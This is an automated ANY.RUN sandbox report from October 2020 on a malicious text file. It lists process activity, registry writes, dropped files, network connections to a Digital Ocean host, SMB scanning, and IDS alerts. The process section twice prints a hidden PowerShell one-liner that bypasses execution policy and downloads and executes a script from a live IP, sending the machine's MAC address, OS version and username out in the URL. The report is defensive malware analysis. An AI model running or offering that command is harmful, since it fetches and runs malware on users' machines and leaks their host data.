download:

p

Full analysis: https://app.any.run/tasks/776b97c3-69d0-423f-8619-bed500b441b2
Verdict: Malicious activity
Analysis date: October 20, 2020, 09:56:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines
MD5:

47DEE8020B2CF7336173C54AB6A71033

SHA1:

8C2572F97C3BB2D3D8CB2156596318AD12290831

SHA256:

9558FA57CE3C589061403A2F847136ECD03E9C785C57F25188ED1FA1D256F887

SSDEEP:

48:1ffilIypT0yuuQRivHi/WDV2b9rKN5Wrhe:slxpvpHiODV2b9YArhe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • powershell.exe (PID: 3536)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1656)
      • schtasks.exe (PID: 3340)

    • Executes PowerShell scripts

      • cmd.exe (PID: 540)

    • Starts Visual C# compiler

      • powershell.exe (PID: 2496)

    • Changes settings of System certificates

      • powershell.exe (PID: 2496)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3536)
      • powershell.exe (PID: 2496)

    • PowerShell script executed

      • powershell.exe (PID: 3536)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3536)

    • Uses IPCONFIG.EXE to discover IP address

      • powershell.exe (PID: 2496)

    • Uses NETSTAT.EXE to discover network connections

      • powershell.exe (PID: 2496)

    • Adds / modifies Windows certificates

      • powershell.exe (PID: 2496)

  • INFO

    • Manual execution by user

      • powershell.exe (PID: 3536)
      • explorer.exe (PID: 3848)
      • NOTEPAD.EXE (PID: 1968)
      • NOTEPAD.EXE (PID: 3912)

    • Reads settings of System Certificates

      • powershell.exe (PID: 2496)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
68
Monitored processes
20
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start rundll32.exe no specs notepad.exe no specs powershell.exe getmac.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs powershell.exe csc.exe cvtres.exe no specs explorer.exe no specs notepad.exe no specs notepad.exe no specs getmac.exe no specs ipconfig.exe no specs ipconfig.exe no specs netstat.exe no specs ipconfig.exe no specs ipconfig.exe no specs netstat.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
540"C:\Windows\system32\cmd.exe" /c powershell -nop -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).downloadstring('http://188.166.162.201/update.png?&mac=12-A9-86-6C-77-DE&av=&version=6.1.7601&bit=32-bit&flag2=False&domain=WORKGROUP&user=admin&PS=True')" C:\Windows\system32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1656"C:\Windows\system32\schtasks.exe" /run /tn WinnetC:\Windows\system32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1968"C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\ccc.logC:\Windows\system32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\notepad.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2064"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\pC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
2144"C:\Windows\system32\ipconfig.exe" /displaydnsC:\Windows\system32\ipconfig.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
IP Configuration Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ipconfig.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\ws2_32.dll
2380"C:\Windows\system32\getmac.exe" /FO CSVC:\Windows\system32\getmac.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Displays NIC MAC information
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\getmac.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\mpr.dll
2496powershell -nop -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).downloadstring('http://188.166.162.201/update.png?&mac=12-A9-86-6C-77-DE&av=&version=6.1.7601&bit=32-bit&flag2=False&domain=WORKGROUP&user=admin&PS=True')" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2504"C:\Windows\system32\ipconfig.exe" /allC:\Windows\system32\ipconfig.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
IP Configuration Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ipconfig.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\ws2_32.dll
2512"C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\pC:\Windows\system32\NOTEPAD.EXE—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\notepad.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3112C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES996.tmp" "c:\Users\admin\AppData\Local\Temp\CSC995.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
Total events
1 160
Read events
949
Write events
211
Delete events
0

Modification events

(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Value:
Adobe Acrobat Reader DC
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\eHome\ehshell.exe
Value:
Windows Media Center
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\mspaint.exe
Value:
Paint
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\NOTEPAD.EXE
Value:
Notepad
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\PROGRA~1\MICROS~1\Office14\OIS.EXE
Value:
Microsoft Office 2010
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Opera\Opera.exe
Value:
Opera Internet Browser
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Windows Photo Viewer\PhotoViewer.dll
Value:
Windows Photo Viewer
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\VideoLAN\VLC\vlc.exe
Value:
VLC media player
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Value:
Microsoft Word
(PID) Process:(2064) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3536powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\64XS4DZO84M13YEYE0TN.temp —
MD5:—
SHA256:—
2496powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2T2UP1YI02OIOA9JQ34B.temp —
MD5:—
SHA256:—
4072csc.exeC:\Users\admin\AppData\Local\Temp\CSC995.tmp —
MD5:—
SHA256:—
4072csc.exeC:\Users\admin\AppData\Local\Temp\ux6-qudl.pdb —
MD5:—
SHA256:—
3112cvtres.exeC:\Users\admin\AppData\Local\Temp\RES996.tmp —
MD5:—
SHA256:—
4072csc.exeC:\Users\admin\AppData\Local\Temp\ux6-qudl.dll —
MD5:—
SHA256:—
4072csc.exeC:\Users\admin\AppData\Local\Temp\ux6-qudl.out —
MD5:—
SHA256:—
2496powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2df8cc.TMPbinary
MD5:—
SHA256:—
3536powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2496powershell.exeC:\Users\admin\AppData\Local\Temp\ux6-qudl.cmdlinetext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
1 783
DNS requests
3
Threats
13

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2496
powershell.exe
GET
200
188.166.162.201:80
http://188.166.162.201/update.png?&mac=12-A9-86-6C-77-DE&av=&version=6.1.7601&bit=32-bit&flag2=False&domain=WORKGROUP&user=admin&PS=True
DE
text
2.31 Mb
malicious
2496
powershell.exe
GET
200
188.166.162.201:80
http://p.estonine.com/getnew.php?ver=2020&mac=12-A9-86-6C-77-DE&re=0&pid=2496&av=&ver=6.1.7601&bit=32-bit
DE
text
2 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2496
powershell.exe
188.166.162.201:80
p.estonine.com
Digital Ocean, Inc.
DE
malicious
2496
powershell.exe
188.166.162.1:445
—
Digital Ocean, Inc.
DE
suspicious
2496
powershell.exe
188.166.162.2:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.3:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.4:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.5:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.6:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.7:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.9:445
—
Digital Ocean, Inc.
DE
unknown
2496
powershell.exe
188.166.162.8:445
—
Digital Ocean, Inc.
DE
unknown

DNS requests

Domain
IP
Reputation
p.estonine.com
  • 188.166.162.201
malicious
api.ipify.org
  • 23.21.126.66
  • 54.204.14.42
  • 174.129.214.20
  • 50.17.193.91
  • 54.225.169.28
  • 54.235.83.248
  • 23.21.109.69
  • 50.19.252.36
shared

Threats

PID
Process
Class
Message
2496
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] PowerShell.Siggen.22
2496
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] PowerShell.MemoryStream.Stager
2496
powershell.exe
Misc activity
AV MALWARE Suspicious Powershell Script embedded in Inbound Image 3
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2496
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] ipify.org External IP Check
2 ETPRO signatures available at the full report
Process
Message
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302